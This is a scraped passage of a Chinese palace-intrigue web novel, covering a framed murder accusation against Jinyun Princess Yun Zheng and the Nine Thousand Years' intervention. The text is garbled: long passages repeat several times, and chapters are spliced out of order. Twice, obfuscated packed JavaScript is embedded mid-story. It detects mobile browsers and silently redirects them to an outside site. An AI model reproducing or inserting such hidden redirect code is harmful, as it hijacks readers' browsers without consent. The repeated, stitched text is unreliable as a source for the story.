水至清则无鱼,他默许手下搞点油水,但,不能太过了,这总督夫人奢侈花的是他的钱。 而且,截贡品的性质不一样,是大罪。 “二十万有点低啊。” 得,又被自家主子料到了,皇上不打算动江南总督。 立春轻问,“要不,也跟叶宜蓁一样?” 什么一样?多搞几次,多捞点钱呗。 “准,告诉锦云,下次是二八,朕八,这次就算了。” 而另一边,江淑蓉还不知被告了黑状。 钱府,江淑蓉看被送回来的老婆子,气的浑身发抖。 “可恶,居然敢这么折辱我,云筝,你死定了。” 老婆子被打的浑身是血,怨气冲天,“主子,您一定要替奴婢做主啊。” 江淑蓉心思飞转,“放心,我会替你们报仇的。” “来人,拖下去杖毙。” 老婆子吓呆了,不敢置信,“主子,您说什么?” “还不拖走?” 很快,外面传来凄厉的惨叫声,求饶声,渐渐的,声音听不到了。 江淑蓉把玩着尖尖的指甲,漫不经心的说道,“来人,去刑部报案,就说,锦云郡主无故打死我府上的下人,要求严惩。” 奴婢们脸色惨白,瑟瑟发抖,恨不得将脑袋埋起来,不听,不看,啥都不知道。 求,别灭口! 皇上呵呵一笑,“一共二十万?皇姐真有钱。” 立春来了一句,“江闻舟还能收二十万。” 皇上立马来了兴趣,“他哪来的钱?” 立春想到九千岁叮嘱的那一番话,立马说道,“他有一个有钱的姑姑。” 这是跟皇上提前打招呼,免得有所误会。 果然,皇上的眼睛危险的眯了起来。 “江南总督的钱啊。” 那是他的钱袋子,动江南总督的钱,就是动他的钱,他能忍? 立春在心里暗夸自家主子有先见之明,皇上的心思被猜的明明白白。 “这位总督夫人极尽奢侈,一道鸭舌需要二百只鸭子配菜,鞋子上的夜明珠比宫中嫔妃的都大。” “每日穿新衣,件件都是贡品衣料。” 随着他的话,皇上的脸色越来越沉,比宫中过的还好!“她哪来那么多?” 立春小心翼翼的说道,“中途截的贡品。” 皇上气笑了,“好,很好,好大的胆子。” 水至清则无鱼,他默许手下搞点油水,但,不能太过了,这总督夫人奢侈花的是他的钱。 而且,截贡品的性质不一样,是大罪。 “二十万有点低啊。” 得,又被自家主子料到了,皇上不打算动江南总督。 立春轻问,“要不,也跟叶宜蓁一样?” 什么一样?多搞几次,多捞点钱呗。 “准,告诉锦云,下次是二八,朕八,这次就算了。” 而另一边,江淑蓉还不知被告了黑状。 钱府,江淑蓉看被送回来的老婆子,气的浑身发抖。 “可恶,居然敢这么折辱我,云筝,你死定了。” 老婆子被打的浑身是血,怨气冲天,“主子,您一定要替奴婢做主啊。” 江淑蓉心思飞转,“放心,我会替你们报仇的。” “来人,拖下去杖毙。” 老婆子吓呆了,不敢置信,“主子,您说什么?” “还不拖走?” 很快,外面传来凄厉的惨叫声,求饶声,渐渐的,声音听不到了。 江淑蓉把玩着尖尖的指甲,漫不经心的说道,“来人,去刑部报案,就说,锦云郡主无故打死我府上的下人,要求严惩。” 奴婢们脸色惨白,瑟瑟发抖,恨不得将脑袋埋起来,不听,不看,啥都不知道。 求,别灭口! 皇上呵呵一笑,“一共二十万?皇姐真有钱。” 立春来了一句,“江闻舟还能收二十万。” 皇上立马来了兴趣,“他哪来的钱?” 立春想到九千岁叮嘱的那一番话,立马说道,“他有一个有钱的姑姑。” 这是跟皇上提前打招呼,免得有所误会。 果然,皇上的眼睛危险的眯了起来。 “江南总督的钱啊。” 那是他的钱袋子,动江南总督的钱,就是动他的钱,他能忍? 立春在心里暗夸自家主子有先见之明,皇上的心思被猜的明明白白。 “这位总督夫人极尽奢侈,一道鸭舌需要二百只鸭子配菜,鞋子上的夜明珠比宫中嫔妃的都大。” “每日穿新衣,件件都是贡品衣料。” 随着他的话,皇上的脸色越来越沉,比宫中过的还好!“她哪来那么多?” 立春小心翼翼的说道,“中途截的贡品。” 皇上气笑了,“好,很好,好大的胆子。” 水至清则无鱼,他默许手下搞点油水,但,不能太过了,这总督夫人奢侈花的是他的钱。 而且,截贡品的性质不一样,是大罪。 “二十万有点低啊。” 得,又被自家主子料到了,皇上不打算动江南总督。 立春轻问,“要不,也跟叶宜蓁一样?” 什么一样?多搞几次,多捞点钱呗。 “准,告诉锦云,下次是二八,朕八,这次就算了。” 而另一边,江淑蓉还不知被告了黑状。 钱府,江淑蓉看被送回来的老婆子,气的浑身发抖。 “可恶,居然敢这么折辱我,云筝,你死定了。” 老婆子被打的浑身是血,怨气冲天,“主子,您一定要替奴婢做主啊。” 江淑蓉心思飞转,“放心,我会替你们报仇的。” “来人,拖下去杖毙。” 老婆子吓呆了,不敢置信,“主子,您说什么?” “还不拖走?” 很快,外面传来凄厉的惨叫声,求饶声,渐渐的,声音听不到了。 江淑蓉把玩着尖尖的指甲,漫不经心的说道,“来人,去刑部报案,就说,锦云郡主无故打死我府上的下人,要求严惩。” 奴婢们脸色惨白,瑟瑟发抖,恨不得将脑袋埋起来,不听,不看,啥都不知道。 求,别灭口! 皇上呵呵一笑,“一共二十万?皇姐真有钱。” 立春来了一句,“江闻舟还能收二十万。” 皇上立马来了兴趣,“他哪来的钱?” 立春想到九千岁叮嘱的那一番话,立马说道,“他有一个有钱的姑姑。” 这是跟皇上提前打招呼,免得有所误会。 果然,皇上的眼睛危险的眯了起来。 “江南总督的钱啊。” 那是他的钱袋子,动江南总督的钱,就是动他的钱,他能忍? 立春在心里暗夸自家主子有先见之明,皇上的心思被猜的明明白白。 “这位总督夫人极尽奢侈,一道鸭舌需要二百只鸭子配菜,鞋子上的夜明珠比宫中嫔妃的都大。” “每日穿新衣,件件都是贡品衣料。” 随着他的话,皇上的脸色越来越沉,比宫中过的还好!“她哪来那么多?” 立春小心翼翼的说道,“中途截的贡品。” 皇上气笑了,“好,很好,好大的胆子。” 水至清则无鱼,他默许手下搞点油水,但,不能太过了,这总督夫人奢侈花的是他的钱。 而且,截贡品的性质不一样,是大罪。 “二十万有点低啊。” 得,又被自家主子料到了,皇上不打算动江南总督。 立春轻问,“要不,也跟叶宜蓁一样?” 什么一样?多搞几次,多捞点钱呗。 “准,告诉锦云,下次是二八,朕八,这次就算了。” 而另一边,江淑蓉还不知被告了黑状。 钱府,江淑蓉看被送回来的老婆子,气的浑身发抖。 “可恶,居然敢这么折辱我,云筝,你死定了。” 老婆子被打的浑身是血,怨气冲天,“主子,您一定要替奴婢做主啊。” 江淑蓉心思飞转,“放心,我会替你们报仇的。” “来人,拖下去杖毙。” 老婆子吓呆了,不敢置信,“主子,您说什么?” “还不拖走?” 很快,外面传来凄厉的惨叫声,求饶声,渐渐的,声音听不到了。 江淑蓉把玩着尖尖的指甲,漫不经心的说道,“来人,去刑部报案,就说,锦云郡主无故打死我府上的下人,要求严惩。” 奴婢们脸色惨白,瑟瑟发抖,恨不得将脑袋埋起来,不听,不看,啥都不知道。 求,别灭口! 皇上呵呵一笑,“一共二十万?皇姐真有钱。” 立春来了一句,“江闻舟还能收二十万。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15886576|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 皇上立马来了兴趣,“他哪来的钱?” 立春想到九千岁叮嘱的那一番话,立马说道,“他有一个有钱的姑姑。” 这是跟皇上提前打招呼,免得有所误会。 果然,皇上的眼睛危险的眯了起来。 “江南总督的钱啊。” 那是他的钱袋子,动江南总督的钱,就是动他的钱,他能忍? 立春在心里暗夸自家主子有先见之明,皇上的心思被猜的明明白白。 “这位总督夫人极尽奢侈,一道鸭舌需要二百只鸭子配菜,鞋子上的夜明珠比宫中嫔妃的都大。” “每日穿新衣,件件都是贡品衣料。” 随着他的话,皇上的脸色越来越沉,比宫中过的还好!“她哪来那么多?” 立春小心翼翼的说道,“中途截的贡品。” 皇上气笑了,“好,很好,好大的胆子。” 水至清则无鱼,他默许手下搞点油水,但,不能太过了,这总督夫人奢侈花的是他的钱。 而且,截贡品的性质不一样,是大罪。 “二十万有点低啊。” 得,又被自家主子料到了,皇上不打算动江南总督。 立春轻问,“要不,也跟叶宜蓁一样?” 什么一样?多搞几次,多捞点钱呗。 “准,告诉锦云,下次是二八,朕八,这次就算了。” 而另一边,江淑蓉还不知被告了黑状。 钱府,江淑蓉看被送回来的老婆子,气的浑身发抖。 “可恶,居然敢这么折辱我,云筝,你死定了。” 老婆子被打的浑身是血,怨气冲天,“主子,您一定要替奴婢做主啊。” 江淑蓉心思飞转,“放心,我会替你们报仇的。” “来人,拖下去杖毙。” 老婆子吓呆了,不敢置信,“主子,您说什么?” “还不拖走?” 很快,外面传来凄厉的惨叫声,求饶声,渐渐的,声音听不到了。 江淑蓉把玩着尖尖的指甲,漫不经心的说道,“来人,去刑部报案,就说,锦云郡主无故打死我府上的下人,要求严惩。” 奴婢们脸色惨白,瑟瑟发抖,恨不得将脑袋埋起来,不听,不看,啥都不知道。 求,别灭口! 皇上呵呵一笑,“一共二十万?皇姐真有钱。” 立春来了一句,“江闻舟还能收二十万。” 皇上立马来了兴趣,“他哪来的钱?” 立春想到九千岁叮嘱的那一番话,立马说道,“他有一个有钱的姑姑。” 这是跟皇上提前打招呼,免得有所误会。 果然,皇上的眼睛危险的眯了起来。 “江南总督的钱啊。” 那是他的钱袋子,动江南总督的钱,就是动他的钱,他能忍? 立春在心里暗夸自家主子有先见之明,皇上的心思被猜的明明白白。 “这位总督夫人极尽奢侈,一道鸭舌需要二百只鸭子配菜,鞋子上的夜明珠比宫中嫔妃的都大。” “每日穿新衣,件件都是贡品衣料。” 随着他的话,皇上的脸色越来越沉,比宫中过的还好!“她哪来那么多?” 立春小心翼翼的说道,“中途截的贡品。” 皇上气笑了,“好,很好,好大的胆子。” 水至清则无鱼,他默许手下搞点油水,但,不能太过了,这总督夫人奢侈花的是他的钱。 而且,截贡品的性质不一样,是大罪。 “二十万有点低啊。” 得,又被自家主子料到了,皇上不打算动江南总督。 立春轻问,“要不,也跟叶宜蓁一样?” 什么一样?多搞几次,多捞点钱呗。 “准,告诉锦云,下次是二八,朕八,这次就算了。” 而另一边,江淑蓉还不知被告了黑状。 钱府,江淑蓉看被送回来的老婆子,气的浑身发抖。 “可恶,居然敢这么折辱我,云筝,你死定了。” 老婆子被打的浑身是血,怨气冲天,“主子,您一定要替奴婢做主啊。” 江淑蓉心思飞转,“放心,我会替你们报仇的。” “来人,拖下去杖毙。” 老婆子吓呆了,不敢置信,“主子,您说什么?” “还不拖走?” 很快,外面传来凄厉的惨叫声,求饶声,渐渐的,声音听不到了。 江淑蓉把玩着尖尖的指甲,漫不经心的说道,“来人,去刑部报案,就说,锦云郡主无故打死我府上的下人,要求严惩。” 奴婢们脸色惨白,瑟瑟发抖,恨不得将脑袋埋起来,不听,不看,啥都不知道。 求,别灭口! 皇上呵呵一笑,“一共二十万?皇姐真有钱。” 立春来了一句,“江闻舟还能收二十万。” 皇上立马来了兴趣,“他哪来的钱?” 立春想到九千岁叮嘱的那一番话,立马说道,“他有一个有钱的姑姑。” 这是跟皇上提前打招呼,免得有所误会。 果然,皇上的眼睛危险的眯了起来。 “江南总督的钱啊。” 那是他的钱袋子,动江南总督的钱,就是动他的钱,他能忍? 立春在心里暗夸自家主子有先见之明,皇上的心思被猜的明明白白。 “这位总督夫人极尽奢侈,一道鸭舌需要二百只鸭子配菜,鞋子上的夜明珠比宫中嫔妃的都大。” “每日穿新衣,件件都是贡品衣料。” 随着他的话,皇上的脸色越来越沉,比宫中过的还好!“她哪来那么多?” 立春小心翼翼的说道,“中途截的贡品。” 皇上气笑了,“好,很好,好大的胆子。” 水至清则无鱼,他默许手下搞点油水,但,不能太过了,这总督夫人奢侈花的是他的钱。 而且,截贡品的性质不一样,是大罪。 “二十万有点低啊。” 得,又被自家主子料到了,皇上不打算动江南总督。 立春轻问,“要不,也跟叶宜蓁一样?” 什么一样?多搞几次,多捞点钱呗。 “准,告诉锦云,下次是二八,朕八,这次就算了。” 而另一边,江淑蓉还不知被告了黑状。 钱府,江淑蓉看被送回来的老婆子,气的浑身发抖。 “可恶,居然敢这么折辱我,云筝,你死定了。” 老婆子被打的浑身是血,怨气冲天,“主子,您一定要替奴婢做主啊。” 江淑蓉心思飞转,“放心,我会替你们报仇的。” “来人,拖下去杖毙。” 老婆子吓呆了,不敢置信,“主子,您说什么?” “还不拖走?” 很快,外面传来凄厉的惨叫声,求饶声,渐渐的,声音听不到了。 江淑蓉把玩着尖尖的指甲,漫不经心的说道,“来人,去刑部报案,就说,锦云郡主无故打死我府上的下人,要求严惩。” 奴婢们脸色惨白,瑟瑟发抖,恨不得将脑袋埋起来,不听,不看,啥都不知道。 求,别灭口! 第146章 她被做局了? 刑部接到报案面面相觑。 江南总督怎么跟锦云郡主斗上了?一个背后是皇上一个背后是九千岁谁都惹不起。 林郎中眼神一闪正义凛然的说道“王子犯法与庶民同罪锦云郡主也不能例外**偿命天经地义。” “这案子我接了我这就去把锦云郡主抓来审讯。” 他嗖的往外跑同僚赶紧阻拦“喂喂你别冲动那是眼下最炙手可热的锦云郡主。” 林郎中义正言辞的说道“不能为民**不如回去种地谁都别拦我。” 他都这么说了谁好意思拦? 看着他远去的背影 锦云郡主可不是软柿子性格强硬又极有手段不知有多少人折在她手里居然还有人想挑战。 一名官员阴阳怪气的说道“有冲劲是好事嘛。” 林郎中带着十几个手下冲向锦云郡主府疯狂敲门“开门快开门刑部办差违抗者后果自负。” 郡主府大门紧闭一点反应都没有。 林郎中叫了半天都什么反应不禁勃然大怒“这是公然抗拒刑部办案来人砸门。” 手下赶紧拦住他手指着上面“大人您看这牌匾。” 林郎中看清牌匾的字愣了一下皇上书写的牌匾谁敢砸?活腻了? 他眼神明明灭灭“我不怕死我来。” 好一个刚正不阿的忠臣让人肃然起敬。 他刚砸了两下一道清喝声猛的响起“谁敢砸我郡主府的大门?” 是云筝回府了她从一辆马车走下来神色冷冷的。 林郎中挺起胸膛“是我刑部郎中林忠业。” 他大声指责“锦云郡主你受百姓供养却残害百姓将两名老妇生生打死该当何罪?” 云筝眉头一皱茫然四顾“我打**谁?” 林郎中大喝道“别装了江南总督府的老婆子虽然是低贱的奴婢但她们是活生生的人你怎么能如此暴戾?” “你上对不起皇上辜负皇恩下对不起黎民百姓不忠不仁不义所做所为令人发指。” 他疯狂的罗织 罪名云筝都气笑了啥玩意? “我代表刑部前来将你带回审讯你好好配合。” 他越说越激情唾沫横飞先声夺人大有恐吓之意。 换了别人都吓哭了头脑发晕凭由林郎中摆布了。 可云筝捂着鼻子嫌弃的朝后退了两步。 她看向身边的人随从上前一步“送去总督府时还活着而且只是皮肉伤不会伤及性命。” 云筝扬了扬眉看来她被做局了?是谁?江淑蓉? “去查一查钱府今日发生的事。“ “是。” 见她不理会自己林郎中感觉重重一拳挥过去如打在棉花上不得劲。 这不是他想要的效果。 “来人请锦云郡主回刑部接受调查。” 手下们一拥而上云筝的人自然是挡在前面护主。 云筝红唇微启“林忠业带人砸门挑战皇上的权威我等绝不能放任给我狠狠打回去。” 打架也要师出有名。 双方打了起来不一会儿就分出胜负刑部的人怎么可能打得过云府精心挑选的高手? 不一会儿刑部的人就倒了一地惨叫连连。 林郎中也被打了好几下专往他身上隐秘的地方打。 他身上疼的厉害气红了脸。 “你居然连办案的官兵都打气势太嚣张这要是**吗?” 云筝的目光锁定了他忽然抽出一把**把玩“林忠业谁报的案?” 她一副一言不合就要捅对方刀子的模样林郎中吓的浑身一颤“是总督夫人。” 云筝扬了扬眉果然不出她所料江淑蓉迫不及待的搞事情啊。 “**在哪里?” “在总督府。”林郎中眼神一闪忽然大声说道。 “锦云郡主你是嫌犯轮不到你作主怎么行事本官自有章法。” 云筝神色清冷“我只是嫌犯并没有定罪所以我还是正二品的郡主你呢?几品?怎么见到本郡主 林郎中哑口无言被打了还得低头行礼“见过郡主。” 太**了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15893753|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云筝冷冷的看着他,“本郡主怀疑你的的专业能力。” 林郎中脸色大变,“您可以骂我,但不能如此羞辱我。” 云筝嘴角轻扬,这点算什么羞辱?她最擅长的是断人后路。 “那我问你,总督夫人接受调查了吗?” 林郎中下意识的反驳,“她是报案人……” 云筝咄咄逼人的追问,“验尸了吗?尸检报告怎么说?死因是什么?” “这……”林郎中脸色大变,他以为云筝只是一个有点小聪明的女子,但再怎么聪明,也只是年轻女子,软弱好欺。 只要耍点手段就能拿下她,他的未来一片光明。 可万万没想到,她思路清楚,逻辑严谨,口齿伶俐,对办案的流程也有所了解。 最重要的是,她遇事一点都不慌,清醒的可怕。 只能说,他对云筝的认知很肤浅。 云筝冷笑一声,“**怎么说,你就怎么信,连调查都没做,就直接砸门抓人。” “你哪是朝廷的官员?分明是江南总督家的奴才。” 这指控让林郎中浑身发颤,额头渗出密密麻麻的冷汗,“你胡说。” 云筝看着他的丑态,拿她当垫脚石,也要看她乐不乐意。 “那么,就是没能力,没品行,欺软怕硬,栽赃嫁祸,踩着别人往上爬。” “要么,对朝廷不敬,对皇上极度不满,故意拿我下刀,意图反抗皇权。” 她掷地有声,气势逼人,“所以,你是哪一种人?” 林郎中浑身是汗,脸色惨白如纸,她这张嘴好可怕,刀刀致命。 他一个都不能认。 不,不行,他必须夺回主动权。 他强撑着,“别以为有九千岁撑腰,就能为所欲为,我早就看不惯你们了,我是为了正义,是为了公理。” 一道冷冰冰的声音响起,“原来,你对本王这么不满。” 林郎中猛的抬头,瞳孔剧震,九千岁居然就在马车上。 他惊吓过度,双脚一软,瘫软在地,“九……九千岁。” 第147章 锦云郡主是本王的人 厉无恙神色冰冷的可怕,“本王给你一个解释的机会,你是在替江南总督出头?还是在为平西侯府抱不平?或者是对皇上的决策有所不满?” 妈呀,这哪是解释机会,分明是断头路。 林郎中拼命摇头,“没有,都不是,我只是立功心切。” 厉无恙仔细打量了一眼,“立秋,彻查林忠业,从小到大所有的资料都扒出来。” “他出身江南,十二年前中的举,名次不靠前,让人去江南查。” 监察百官不是说说而已。 “是。” 林郎中浑身剧震,后悔莫及,他就不该揽下此事。 这下子麻烦大了。 厉无恙吩咐下去,“立夏,去刑部,跟刑部尚书说一声,此案由我们明镜司接手。” “是。” “谷雨,你带着仵作去钱府,当着钱府所有人的面验尸,谁都不许离开。最晚明早,我要看到调查结果。” “是。”谷雨精神大震,迫不及待了。 云筝的眼睛刷的亮了,还能这么玩?学起来! 哈哈,钱府这次惨了,有点想看热闹! 厉无恙淡淡瞥了她一眼,她跃跃欲试的样子,让他嘴角轻勾。 “同时,跟钱维说一声,锦云郡主是本王的人,下次再敢算计她,本王就当作是宣战。” “是。” 云筝眉眼弯弯,好霸气,好护短,开心! 大门打开,云展鹏夫妻出现在众人面前。 云展鹏神色错愕,震惊,紧张,还有一丝无措。 他脑子里回响着那句,锦云郡主是本王的人…… 云夫人躬身行礼,“王爷驾到,有失远迎,还请恕罪。” 她扯了扯自家男人的衣袖,别发呆啊。 云展鹏胡乱行了一礼,脑袋乱哄哄的。 厉无恙颌首致意,“两位不必多礼,我不请自来,还请见谅。” 云筝做了个请的手势,厉无恙在一群人的簇拥下,坐着轮椅进了锦云郡主府。 林郎中呆呆的看着大门又一次关上,面色灰败。 九千岁跟云家的关系比他想象的更紧密,难道他们之间……不仅仅是主属? 他眼珠乱转,不知在想些什么。 一路上,云展鹏夫妻明显有些局促。 厉无恙大大方方的欣赏风景,“这片百花园打理的很不错,春有花,夏有荫,秋有果,冬有绿。” 云筝走在他身边,笑意盈盈的道,“找名家特意设计的,我想一年四季都能赏花。” 厉无恙手指着一个地方,“在这个位置建一个暖阁,冬天喝酒赏雪,是一大趣事。” “好主意。” 两人自然的互动,谈笑风生。 云展鹏夫妻在后面面面相觑,神色复杂。 云筝忽然回过头,“爹,娘,我请睿王爷来府上吃灸鸭,都准备好了吗?” “好了,好了。”云夫人还想着,怎么好端端的让人捎话,晚上想吃灸鸭,原来如此。 这灸鸭工序十几道,特别繁琐,平时只有逢年过节时做。 到了花厅,主宾分坐两边,上了茶点,气氛有些僵滞。 云展鹏看了一眼女儿,压低声音问道,“怎么这么突然?我们都没有心理准备。” 跟九千岁相处,压力好大啊。 云筝微微一笑,“吃顿饭而已,您别紧张,睿亲王凶名在外,但,其实,人很好的。” 云展鹏嘴角直抽抽,傻闺女,哪里好了? 厉无恙挥了挥手,随从送上礼物,“这是宫中赏赐的茶叶和绸缎。” “这是御厨做的八珍糕和豌豆黄,听云筝说,云夫人最爱这两道点心,您尝尝。” 云夫人受宠若惊,“您太客气了。” 厉无恙轻笑道,“把我当成一个小辈就好,我从小在宫庭长大,最羡慕寻常人家的母慈子孝,就让我亲身体验一下吧。” 云夫人心肠一软,这孩子也不容易,年纪轻轻坐轮椅,一定是被人害了。 双方都有意交好,自然是越聊越投机。 别看厉无恙性情冷漠,但,他毕竟在错综复杂的宫庭长大,不动声色的讨好一个人,那是轻而易举的事。 端看,他乐不乐意了。 云展鹏看着两人从王爷和云夫人,一下子变成了无恙和伯母,感觉整个人都不好了。 不是啊,人家是九千岁啊,不是你的世侄,你一口一声无恙,真的好吗? 他的名字只有皇上和太后才能叫,皇后都不行啊。 他小心翼翼的问,“筝儿,这不合适吧?” 云筝嘴角含笑,“就当哄哄他吧,他也怪可怜的,在家里叫叫没事。” 云展鹏:……到底哪里可怜啊?! 更愁了! 一顿饭吃下来,只有云展鹏愁眉不展,其他人有说有笑,气氛融洽。 吃完饭,厉无恙没有多待,告辞离开。 云筝起身,“我送您。” 云展鹏看着一行人远去的身影,眉头紧皱。 云夫人轻声提醒道,“老爷,你别把情绪摆在脸上,睿王爷会多心的。” 云展鹏冷哼一声,“就是让他多心,以后少来。” 云夫人无奈极了,“你在担心什么?” “你……”云展鹏迟疑了一下,“没觉得哪里不对?” 云夫人不假思索的道,“睿王爷喜欢我家筝儿?” 云展鹏大为震惊,“你看出来了?!” 云夫人既不傻,也不瞎,“我只是一个普通女人,哪值得权势滔天的睿王爷折节下交?自然是有所图。” “像他那种人物,有权有势有钱,什么都不缺,图什么呢?当然是图我家的掌上明珠。” 见她如此平静,云展鹏无法理解,“你不担心吗?他的婚事未必能自己作主。” 云夫人也不能理解他,“筝儿比猴子还精,折在她手里的人不少,有啥担心的?” 云展鹏忧心忡忡,“那不一样,毕竟是女孩子,万一吃了亏……” 云夫人微微一笑,“那就去父留子,孩子姓云,继承云家的家业。” 云展鹏像是打开了一个新世界,眼睛刷的亮了。 这主意……不赖! 云筝送厉无恙出门,笑吟吟的开口,“王爷,谢谢您。” “谢我什么?” 云筝眉眼弯弯,梨涡浅笑,“谢您愿意哄我的家人。” 一双笑眼仿佛盛满了璀璨星光,厉无恙心跳瞬间加速,轻声喃喃,“为你,我愿意。” 云筝听的清清楚楚,小脸红了,“你……” 刚想说什么,就被人打断了,“王爷,皇上急召您入宫。” 厉无恙眉头微蹙,心底涌起一丝失落,“什么事?” 随从小心翼翼的禀道,“说是钱家倒下了一大片,钱老夫人也吓晕了,钱维进宫告状了。” 厉无恙冷哼一声,“仵作验尸,有啥可怕的?一群废物。” 他看向云筝,眼中有歉意,“我先进宫一趟。” 云筝眼珠微转,灵动而又狡黠,“我也去吧,毕竟我是当事人,可以作证。” 看戏,搞事! 他的名字只有皇上和太后才能叫,皇后都不行啊。 他小心翼翼的问,“筝儿,这不合适吧?” 云筝嘴角含笑,“就当哄哄他吧,他也怪可怜的,在家里叫叫没事。” 云展鹏:……到底哪里可怜啊?! 更愁了! 一顿饭吃下来,只有云展鹏愁眉不展,其他人有说有笑,气氛融洽。 吃完饭,厉无恙没有多待,告辞离开。 云筝起身,“我送您。” 云展鹏看着一行人远去的身影,眉头紧皱。 云夫人轻声提醒道,“老爷,你别把情绪摆在脸上,睿王爷会多心的。” 云展鹏冷哼一声,“就是让他多心,以后少来。” 云夫人无奈极了,“你在担心什么?” “你……”云展鹏迟疑了一下,“没觉得哪里不对?” 云夫人不假思索的道,“睿王爷喜欢我家筝儿?” 云展鹏大为震惊,“你看出来了?!” 云夫人既不傻,也不瞎,“我只是一个普通女人,哪值得权势滔天的睿王爷折节下交?自然是有所图。” “像他那种人物,有权有势有钱,什么都不缺,图什么呢?当然是图我家的掌上明珠。” 见她如此平静,云展鹏无法理解,“你不担心吗?他的婚事未必能自己作主。” 云夫人也不能理解他,“筝儿比猴子还精,折在她手里的人不少,有啥担心的?” 云展鹏忧心忡忡,“那不一样,毕竟是女孩子,万一吃了亏……” 云夫人微微一笑,“那就去父留子,孩子姓云,继承云家的家业。” 云展鹏像是打开了一个新世界,眼睛刷的亮了。 这主意……不赖! 云筝送厉无恙出门,笑吟吟的开口,“王爷,谢谢您。” “谢我什么?” 云筝眉眼弯弯,梨涡浅笑,“谢您愿意哄我的家人。” 一双笑眼仿佛盛满了璀璨星光,厉无恙心跳瞬间加速,轻声喃喃,“为你,我愿意。” 云筝听的清清楚楚,小脸红了,“你……” 刚想说什么,就被人打断了,“王爷,皇上急召您入宫。” 厉无恙眉头微蹙,心底涌起一丝失落,“什么事?” 随从小心翼翼的禀道,“说是钱家倒下了一大片,钱老夫人也吓晕了,钱维进宫告状了。” 厉无恙冷哼一声,“仵作验尸,有啥可怕的?一群废物。” 他看向云筝,眼中有歉意,“我先进宫一趟。” 云筝眼珠微转,灵动而又狡黠,“我也去吧,毕竟我是当事人,可以作证。” 看戏,搞事! 他的名字只有皇上和太后才能叫,皇后都不行啊。 他小心翼翼的问,“筝儿,这不合适吧?” 云筝嘴角含笑,“就当哄哄他吧,他也怪可怜的,在家里叫叫没事。” 云展鹏:……到底哪里可怜啊?! 更愁了! 一顿饭吃下来,只有云展鹏愁眉不展,其他人有说有笑,气氛融洽。 吃完饭,厉无恙没有多待,告辞离开。 云筝起身,“我送您。” 云展鹏看着一行人远去的身影,眉头紧皱。 云夫人轻声提醒道,“老爷,你别把情绪摆在脸上,睿王爷会多心的。” 云展鹏冷哼一声,“就是让他多心,以后少来。” 云夫人无奈极了,“你在担心什么?” “你……”云展鹏迟疑了一下,“没觉得哪里不对?” 云夫人不假思索的道,“睿王爷喜欢我家筝儿?” 云展鹏大为震惊,“你看出来了?!” 云夫人既不傻,也不瞎,“我只是一个普通女人,哪值得权势滔天的睿王爷折节下交?自然是有所图。” “像他那种人物,有权有势有钱,什么都不缺,图什么呢?当然是图我家的掌上明珠。” 见她如此平静,云展鹏无法理解,“你不担心吗?他的婚事未必能自己作主。” 云夫人也不能理解他,“筝儿比猴子还精,折在她手里的人不少,有啥担心的?” 云展鹏忧心忡忡,“那不一样,毕竟是女孩子,万一吃了亏……” 云夫人微微一笑,“那就去父留子,孩子姓云,继承云家的家业。” 云展鹏像是打开了一个新世界,眼睛刷的亮了。 这主意……不赖! 云筝送厉无恙出门,笑吟吟的开口,“王爷,谢谢您。” “谢我什么?” 云筝眉眼弯弯,梨涡浅笑,“谢您愿意哄我的家人。” 一双笑眼仿佛盛满了璀璨星光,厉无恙心跳瞬间加速,轻声喃喃,“为你,我愿意。” 云筝听的清清楚楚,小脸红了,“你……” 刚想说什么,就被人打断了,“王爷,皇上急召您入宫。” 厉无恙眉头微蹙,心底涌起一丝失落,“什么事?” 随从小心翼翼的禀道,“说是钱家倒下了一大片,钱老夫人也吓晕了,钱维进宫告状了。” 厉无恙冷哼一声,“仵作验尸,有啥可怕的?一群废物。” 他看向云筝,眼中有歉意,“我先进宫一趟。” 云筝眼珠微转,灵动而又狡黠,“我也去吧,毕竟我是当事人,可以作证。” 看戏,搞事! 他的名字只有皇上和太后才能叫,皇后都不行啊。 他小心翼翼的问,“筝儿,这不合适吧?” 云筝嘴角含笑,“就当哄哄他吧,他也怪可怜的,在家里叫叫没事。” 云展鹏:……到底哪里可怜啊?! 更愁了! 一顿饭吃下来,只有云展鹏愁眉不展,其他人有说有笑,气氛融洽。 吃完饭,厉无恙没有多待,告辞离开。 云筝起身,“我送您。” 云展鹏看着一行人远去的身影,眉头紧皱。 云夫人轻声提醒道,“老爷,你别把情绪摆在脸上,睿王爷会多心的。” 云展鹏冷哼一声,“就是让他多心,以后少来。” 云夫人无奈极了,“你在担心什么?” “你……”云展鹏迟疑了一下,“没觉得哪里不对?” 云夫人不假思索的道,“睿王爷喜欢我家筝儿?” 云展鹏大为震惊,“你看出来了?!” 云夫人既不傻,也不瞎,“我只是一个普通女人,哪值得权势滔天的睿王爷折节下交?自然是有所图。” “像他那种人物,有权有势有钱,什么都不缺,图什么呢?当然是图我家的掌上明珠。” 见她如此平静,云展鹏无法理解,“你不担心吗?他的婚事未必能自己作主。” 云夫人也不能理解他,“筝儿比猴子还精,折在她手里的人不少,有啥担心的?” 云展鹏忧心忡忡,“那不一样,毕竟是女孩子,万一吃了亏……” 云夫人微微一笑,“那就去父留子,孩子姓云,继承云家的家业。” 云展鹏像是打开了一个新世界,眼睛刷的亮了。 这主意……不赖! 云筝送厉无恙出门,笑吟吟的开口,“王爷,谢谢您。” “谢我什么?” 